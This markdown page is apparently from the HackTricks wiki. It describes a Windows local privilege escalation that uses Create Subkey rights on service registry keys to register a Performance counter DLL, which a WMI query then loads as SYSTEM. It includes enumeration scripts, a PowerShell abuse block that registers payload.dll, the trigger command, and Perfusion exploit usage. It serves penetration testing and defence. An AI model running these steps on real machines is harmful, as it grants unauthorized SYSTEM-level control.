appenddata-addsubdirectory-permission-over-service-registry.md (7635B)
1 --- 2 title: "AppendData/AddSubdirectory Permission over Service Registry" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # AppendData/AddSubdirectory Permission over Service Registry 14 15 **The original post is** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)<sup>[[3]](#references)</sup> 16 17 ## Summary 18 19 If you only have **`Create Subkey`** / **`AppendData/AddSubdirectory`** on a service registry key, this is still a good privesc lead. You usually **can't** overwrite `ImagePath`, `ServiceDll`, or other existing values directly, but you may still be able to create a **`Performance`** child key under: 20 21 - **`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`** 22 - **`HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`** 23 - Any other **`HKLM\SYSTEM\CurrentControlSet\Services\<service>`** key where your token has **`KEY_CREATE_SUB_KEY`** 24 25 The trick is that Windows still supports the legacy **PerfLib V1** registration model. If a service has a **`Performance`** subkey, Windows can load a DLL from there when a performance counter consumer requests data. 26 27 According to Microsoft documentation, the minimum registration is:<sup>[[1]](#references)</sup> 28 29 ```text 30 HKLM\SYSTEM\CurrentControlSet\Services\<service>\Performance 31 Library = C:\Path\payload.dll 32 Open = OpenPerfData 33 Collect = CollectPerfData 34 Close = ClosePerfData 35 ``` 36 37 So the offensive takeaway is: **don't discard a service registry finding just because you only got `CreateSubKey` instead of `SetValue`**.<sup>[[3]](#references)</sup> 38 39 ## Why this is enough for code execution 40 41 The `Performance` subkey does **not** usually exist by default on these services, so **`KEY_CREATE_SUB_KEY`** is the primitive you need. Once the key exists and contains `Library`/`Open`/`Collect`/`Close`, any **performance counter consumer** can trigger the DLL load.<sup>[[3]](#references)</sup> 42 43 A few important details: 44 45 - The **`Library`** value can point to a **full DLL path**. 46 - The DLL must export **`OpenPerfData`**, **`CollectPerfData`**, and **`ClosePerfData`** and return `ERROR_SUCCESS`. 47 - The code runs in the **consumer's context**, **not necessarily in the vulnerable service process itself**. 48 - In the classic `RpcEptMapper` / `Dnscache` case, a **WMI performance query** can make **`wmiprvse.exe`** load the DLL as **`NT AUTHORITY\SYSTEM`**. 49 50 This is why the primitive is easy to miss during triage: the parent service key is not "fully writable", but it is still weaponizable. 51 52 ## Quick enumeration 53 54 Manual spot-check with **AccessChk**: 55 56 ```bash 57 accesschk.exe -k -w hklm\system\currentcontrolset\services\rpceptmapper 58 accesschk.exe -k -w hklm\system\currentcontrolset\services\dnscache 59 ``` 60 61 PowerShell example to look for low-privileged principals with **`CreateSubKey`** on service keys: 62 63 ```powershell 64 Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | ForEach-Object { 65 $weak = (Get-Acl $_.PSPath).Access | Where-Object { 66 $_.AccessControlType -eq 'Allow' -and 67 ($_.RegistryRights -band [System.Security.AccessControl.RegistryRights]::CreateSubKey) -eq [System.Security.AccessControl.RegistryRights]::CreateSubKey -and 68 $_.IdentityReference -match 'Users|Authenticated Users|INTERACTIVE|Network Configuration Operators' 69 } 70 if ($weak) { 71 [pscustomobject]@{Service=$_.PSChildName; Principals=($weak.IdentityReference -join ', '); Rights=($weak.RegistryRights -join '; ')} 72 } 73 } 74 ``` 75 76 Useful tooling: 77 78 - **PrivescCheck**: `Get-ModifiableRegistryPath` was created specifically to spot this class of issue.<sup>[[3]](#references)</sup> 79 - **SharpUp**: `SharpUp.exe audit ModifiableServiceRegistryKeys` 80 - **Perfusion**: automates DLL drop, `Performance` registration, WMI trigger, token duplication, and cleanup on legacy vulnerable targets (for example: `Perfusion.exe -c cmd -i -k Dnscache`).<sup>[[4]](#references)</sup> 81 82 ## Abuse flow 83 84 Create the `Performance` subkey and populate the required values:<sup>[[3]](#references)</sup> 85 86 ```powershell 87 $svc = 'RpcEptMapper' # or Dnscache / NetBT / another vulnerable service 88 $k = "HKLM:\SYSTEM\CurrentControlSet\Services\$svc\Performance" 89 New-Item $k -Force | Out-Null 90 New-ItemProperty $k -Name Library -Value "$pwd\payload.dll" -PropertyType String -Force | Out-Null 91 New-ItemProperty $k -Name Open -Value 'OpenPerfData' -PropertyType String -Force | Out-Null 92 New-ItemProperty $k -Name Collect -Value 'CollectPerfData' -PropertyType String -Force | Out-Null 93 New-ItemProperty $k -Name Close -Value 'ClosePerfData' -PropertyType String -Force | Out-Null 94 ``` 95 96 Then trigger a **privileged** performance consumer. A classic example is a WMI query over `Win32_Perf*` classes:<sup>[[3]](#references)</sup> 97 98 ```powershell 99 powershell.exe -NoProfile -Command "Get-WmiObject -List | Where-Object { $_.Name -like 'Win32_Perf*' } | Out-Null" 100 ``` 101 102 Operational notes: 103 104 - Launching **`perfmon.exe`** is useful to verify that the counter registration is correct, but that usually only loads the DLL in **your own user context**. 105 - For an actual LPE, trigger a **privileged** consumer such as **WMI**. 106 - If you are writing your own exploit, spawning `cmd.exe` directly from inside the DLL usually leaves you with a shell in **session 0**. `Perfusion` solves this by duplicating the privileged token into a process that was created suspended in the attacker's session.<sup>[[4]](#references)</sup> 107 - Match the DLL architecture to the target consumer (**x64 on x64 systems**). 108 109 ## Version notes / recent developments 110 111 Historically, the built-in weak keys were:<sup>[[4]](#references)</sup> 112 113 - **Windows 7 / Windows Server 2008 R2**: `RpcEptMapper` and `Dnscache` 114 - **Windows 8 / Windows Server 2012**: `RpcEptMapper` 115 116 `Perfusion` notes that the **April 2021** updates removed the easy exploitation path on updated **Windows 8 / Windows Server 2012**, while **Windows 7 / Windows Server 2008 R2** remained exploitable through **`Dnscache`**.<sup>[[4]](#references)</sup> 117 118 This primitive is **not only historical**. In **January 2025**, Microsoft patched a related AD DS issue where members of **`Network Configuration Operators`** could create subkeys under **`Dnscache`** and **`NetBT`**, and the same **Performance-counter DLL registration** idea could be reused to reach **SYSTEM** on supported systems.<sup>[[2]](#references)</sup> 119 120 So the modern lesson is generic: whenever a low-privileged principal has **`CreateSubKey`** on **`HKLM\SYSTEM\CurrentControlSet\Services\<service>`**, check whether a **`Performance`** child key is enough before dismissing the finding. 121 122 ## References 123 124 - [1] [Microsoft Learn - Creating the Application's Performance Key](https://learn.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key) 125 - [2] [BirkeP - Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)](https://birkep.github.io/posts/Windows-LPE/) 126 - [3] [itm4n - Windows RpcEptMapper Service Insecure Registry Permissions EoP](https://itm4n.github.io/windows-registry-rpceptmapper-eop/) 127 - [4] [itm4n - Perfusion (exploit for the RpcEptMapper registry key permissions vulnerability)](https://github.com/itm4n/Perfusion)